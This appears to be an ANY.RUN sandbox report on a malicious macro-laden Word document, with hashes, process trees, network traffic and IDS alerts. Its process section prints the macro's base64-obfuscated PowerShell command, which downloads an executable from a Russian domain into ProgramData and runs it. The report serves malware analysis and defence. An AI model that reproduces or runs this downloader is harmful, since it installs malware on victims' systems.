File name:

173d644887fe55f54403e56181f9f4a61283332b264b2664bdd05f90317b9519.doc

Full analysis: https://app.any.run/tasks/b7651114-3f00-42ef-9481-7d766a81f802
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: May 22, 2024, 20:08:23
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
macros
macros-on-open
opendir
loader
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

F81B30A64F41A0F7A310CA679A228D79

SHA1:

356CB6B79FC52F1B3FA931865603E8154459A0EE

SHA256:

173D644887FE55F54403E56181F9F4A61283332B264B2664BDD05F90317B9519

SSDEEP:

24576:2KQfMONtKi4Okb7dBVhtEkDCTgtwuRBMxp3nc+pO5zTj71:2KQfMONtKi4Okb7jVhtEkDCTgtwuRBMe

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 6232)

    • Microsoft Office executes commands via PowerShell or Cmd

      • WINWORD.EXE (PID: 6232)

    • Drops the executable file immediately after the start

      • powershell.exe (PID: 7032)

    • Unusual execution from MS Office

      • WINWORD.EXE (PID: 6232)

  • SUSPICIOUS

    • Runs shell command (SCRIPT)

      • WINWORD.EXE (PID: 6232)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 6784)

    • BASE64 encoded PowerShell command has been detected

      • cmd.exe (PID: 6712)
      • powershell.exe (PID: 6784)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 6712)
      • powershell.exe (PID: 6784)

    • Application launched itself

      • powershell.exe (PID: 6784)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 7032)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 7032)

    • Unusual connection from system programs

      • powershell.exe (PID: 7032)

    • Potential Corporate Privacy Violation

      • powershell.exe (PID: 7032)

    • Base64-obfuscated command line is found

      • powershell.exe (PID: 6784)

  • INFO

    • Disables trace logs

      • powershell.exe (PID: 7032)

    • Checks supported languages

      • 123.exe (PID: 1636)

    • Reads the computer name

      • 123.exe (PID: 1636)

    • Creates files in the program directory

      • powershell.exe (PID: 7032)

    • Checks proxy server information

      • powershell.exe (PID: 7032)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docm | Word Microsoft Office Open XML Format document (with Macro) (53.6)
.docx | Word Microsoft Office Open XML Format document (24.2)
.zip | Open Packaging Conventions container (18)
.zip | ZIP compressed archive (4.1)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0x3f450766
ZipCompressedSize: 399
ZipUncompressedSize: 1503
ZipFileName: [Content_Types].xml

XMP

Title: -
Subject: -
Creator: wolf
Description: -

XML

Keywords: -
LastModifiedBy: wolf
RevisionNumber: 4
CreateDate: 2024:05:21 09:23:00Z
ModifyDate: 2024:05:21 09:52:00Z
Template: Normal.dotm
TotalEditTime: 3 minutes
Pages: 1
Words: -
Characters: 1
Application: Microsoft Office Word
DocSecurity: None
Lines: 1
Paragraphs: 1
ScaleCrop: No
Company: -
LinksUpToDate: No
CharactersWithSpaces: 1
SharedDoc: No
HyperlinksChanged: No
AppVersion: 16
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
136
Monitored processes
7
Malicious processes
3
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winword.exe cmd.exe no specs conhost.exe no specs powershell.exe no specs ai.exe no specs powershell.exe 123.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1636"C:\ProgramData\123.exe"C:\ProgramData\123.exe—powershell.exe
User:
admin
Company:
Simon Tatham
Integrity Level:
MEDIUM
Description:
SSH, Telnet, Rlogin, and SUPDUP client
Version:
Release 0.81 (with embedded help)
Modules
Images
c:\programdata\123.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\gdi32.dll
6232"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n C:\Users\admin\AppData\Local\Temp\173d644887fe55f54403e56181f9f4a61283332b264b2664bdd05f90317b9519.doc.docm /o ""C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
16.0.16026.20146
Modules
Images
c:\program files\microsoft office\root\office16\winword.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
6712cmd /c Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFcgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkVSA9ICdodHRwOi8vbW9ub3BvbGlhZnJvbXlvdS5ydS9kb3dubG9hZC8yLmV4ZSc7ICRQID0gJ0M6XFByb2dyYW1EYXRhXDEyMy5leGUnOyAkVy5Eb3dubG9hZEZpbGUoJFUsICRQKTsgSW52b2tlLUV4cHJlc3Npb24gJFA7')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;C:\Windows\System32\cmd.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
6720\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6784Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFcgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkVSA9ICdodHRwOi8vbW9ub3BvbGlhZnJvbXlvdS5ydS9kb3dubG9hZC8yLmV4ZSc7ICRQID0gJ0M6XFByb2dyYW1EYXRhXDEyMy5leGUnOyAkVy5Eb3dubG9hZEZpbGUoJFUsICRQKTsgSW52b2tlLUV4cHJlc3Npb24gJFA7')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6804"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exe" "5F9360AE-C353-4BB2-B2E9-AD97ED437C20" "3548A59B-6565-4346-959E-085912553A06" "6232"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Artificial Intelligence (AI) Host for the Microsoft® Windows® Operating System and Platform x64.
Version:
0.12.2.0
Modules
Images
c:\program files\microsoft office\root\vfs\programfilescommonx64\microsoft shared\office16\ai.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\program files\common files\microsoft shared\clicktorun\appvisvsubsystems64.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\program files\common files\microsoft shared\clicktorun\c2r64.dll
c:\windows\system32\sechost.dll
7032"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -E JABXACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAVQAgAD0AIAAnAGgAdAB0AHAAOgAvAC8AbQBvAG4AbwBwAG8AbABpAGEAZgByAG8AbQB5AG8AdQAuAHIAdQAvAGQAbwB3AG4AbABvAGEAZAAvADIALgBlAHgAZQAnADsAIAAkAFAAIAA9ACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXAAxADIAMwAuAGUAeABlACcAOwAgACQAVwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABVACwAIAAkAFAAKQA7ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABQADsAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll
Total events
26 985
Read events
26 558
Write events
394
Delete events
33

Modification events

(PID) Process:(6232) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\ClientTelemetry\Sampling
Operation:writeName:0
Value:
017012000000001000B24E9A3E01000000000000000500000000000000
(PID) Process:(6232) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\5932
Operation:delete valueName:0
Value:
ซ괐殺ࠆꯞꝅ莼跳⏺䘅헉꾍樁င$梅摝麨…ީ湕湫睯쥮௅賙ᒳ೅肫
(PID) Process:(6232) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\5932
Operation:delete keyName:(default)
Value:
(PID) Process:(6232) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\6232
Operation:writeName:0
Value:
0B0E10DDC7AA19110E9A45910C7DA347A006D0230046B1CCCF9ABD90ABED016A04102400449A7D64B29D01008500A907556E6B6E6F776EC906022222CA0DC2190000C91003783634C511D830D2120B770069006E0077006F00720064002E00650078006500C51620C517808004C91808323231322D44656300
(PID) Process:(6232) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:en-US
Value:
2
(PID) Process:(6232) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:de-de
Value:
2
(PID) Process:(6232) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:fr-fr
Value:
2
(PID) Process:(6232) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:es-es
Value:
2
(PID) Process:(6232) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:it-it
Value:
2
(PID) Process:(6232) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages
Operation:writeName:ja-jp
Value:
2
Executable files
2
Suspicious files
113
Text files
52
Unknown types
6

Dropped files

PID
Process
Filename
Type
6232WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$3d644887fe55f54403e56181f9f4a61283332b264b2664bdd05f90317b9519.doc.docmabr
MD5:8045579D82C8D7F8FED776D31883961B
SHA256:55526B53CA9888D31F171F49AA8951155D7D4372434EF9B81D0E54666FF7E2F5
6232WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\E51F60DA-5C69-481D-8E36-8CC9FE53E116xml
MD5:B85A882FFF7E884CCBEA1BBEC9CF4FFE
SHA256:35630E8DECD9AA20E95BFE2E1D506838E519BD715715F7C34AED3DFA87A90BFE
6232WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbresbinary
MD5:29C752BB41329BD9F2287F0D0424A514
SHA256:C14E6CD7A81AB37F837CBF32415117F5542CF0B5B86EB492D21931AEF542117B
6784powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ljbw4erj.qzs.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6232WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbresbinary
MD5:3DF8AA81112FC16C5309379BF8057C93
SHA256:62165A9853B6812595D6982D73FFB155232AFB6DF650E93DB7ED877BEDC39C14
6232WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbresbinary
MD5:6163FD19CF96F2A7B2A6852BCD6FC233
SHA256:8A4DDD88DB71727A23B759B2C69D0E761C079E14272C230E3DC3C479A2776233
7032powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_vohjwihn.y41.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6232WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bintext
MD5:CC90D669144261B198DEAD45AA266572
SHA256:89C701EEFF939A44F28921FD85365ECD87041935DCD0FE0BAF04957DA12C9899
6232WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\UsageMetricsStore\FileActivityStoreV3\Word\ASkwMDAwMDAwMC0wMDAwLTAwMDAtMDAwMC0wMDAwMDAwMDAwMDBfTnVsbAA.Sbinary
MD5:73E839D588A27FCF04FC48C804895A5F
SHA256:4BEEBDBDDA8DB899820F1E4C15549DC2B7A2CC5D25B87CCD6CE87A5D208CBEDC
6232WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bintext
MD5:A8845311992093900E6CD9B363E5E30E
SHA256:AF80EC1EAA8863CCF3538121B25776F27A0BB7310BE54DA3643073184D136482
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
16
TCP/UDP connections
109
DNS requests
25
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
528
svchost.exe
GET
200
23.193.186.145:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
unknown
528
svchost.exe
GET
200
23.217.131.226:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
unknown
7032
powershell.exe
GET
200
78.111.89.20:80
http://monopoliafromyou.ru/download/2.exe
unknown
—
—
unknown
6232
WINWORD.EXE
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
unknown
1608
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
unknown
4680
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D
unknown
—
—
unknown
6580
SIHClient.exe
GET
200
23.217.131.226:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
unknown
6580
SIHClient.exe
GET
200
23.217.131.226:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
unknown
6232
WINWORD.EXE
GET
200
23.193.186.138:80
http://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl
unknown
—
—
unknown
6232
WINWORD.EXE
GET
200
23.193.186.138:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4364
svchost.exe
239.255.255.250:1900
—
—
—
unknown
4
System
192.168.100.255:138
—
—
—
unknown
528
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
4856
RUXIMICS.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
5140
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
6232
WINWORD.EXE
52.109.28.46:443
officeclient.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
GB
unknown
6232
WINWORD.EXE
52.113.194.132:443
ecs.office.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
unknown
6232
WINWORD.EXE
2.20.71.150:443
omex.cdn.office.net
Akamai International B.V.
NL
unknown
528
svchost.exe
23.193.186.145:80
crl.microsoft.com
Akamai International B.V.
JP
unknown
528
svchost.exe
23.217.131.226:80
www.microsoft.com
Joint Stock Company TransTeleCom
RU
unknown

DNS requests

Domain
IP
Reputation
officeclient.microsoft.com
  • 52.109.28.46
whitelisted
ecs.office.com
  • 52.113.194.132
whitelisted
omex.cdn.office.net
  • 2.20.71.150
  • 2.20.71.135
whitelisted
settings-win.data.microsoft.com
  • 40.127.240.158
whitelisted
crl.microsoft.com
  • 23.193.186.145
  • 23.193.186.138
whitelisted
www.microsoft.com
  • 23.217.131.226
whitelisted
messaging.lifecycle.office.com
  • 52.109.16.3
whitelisted
monopoliafromyou.ru
  • 78.111.89.20
unknown
self.events.data.microsoft.com
  • 52.178.17.233
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted

Threats

PID
Process
Class
Message
7032
powershell.exe
A Network Trojan was detected
ET MALWARE Single char EXE direct download likely trojan (multiple families)
7032
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
7032
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
Process
Message
WINWORD.EXE
WebView2: Failed to find an installed WebView2 runtime or non-stable Microsoft Edge installation.
WINWORD.EXE
WebView2: Failed to find an installed WebView2 runtime or non-stable Microsoft Edge installation.
WINWORD.EXE
WebView2: Failed to find an installed WebView2 runtime or non-stable Microsoft Edge installation.
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
173d644887fe55f54403e56181f9f4a61283332b264b2664bdd05f90317b9519.doc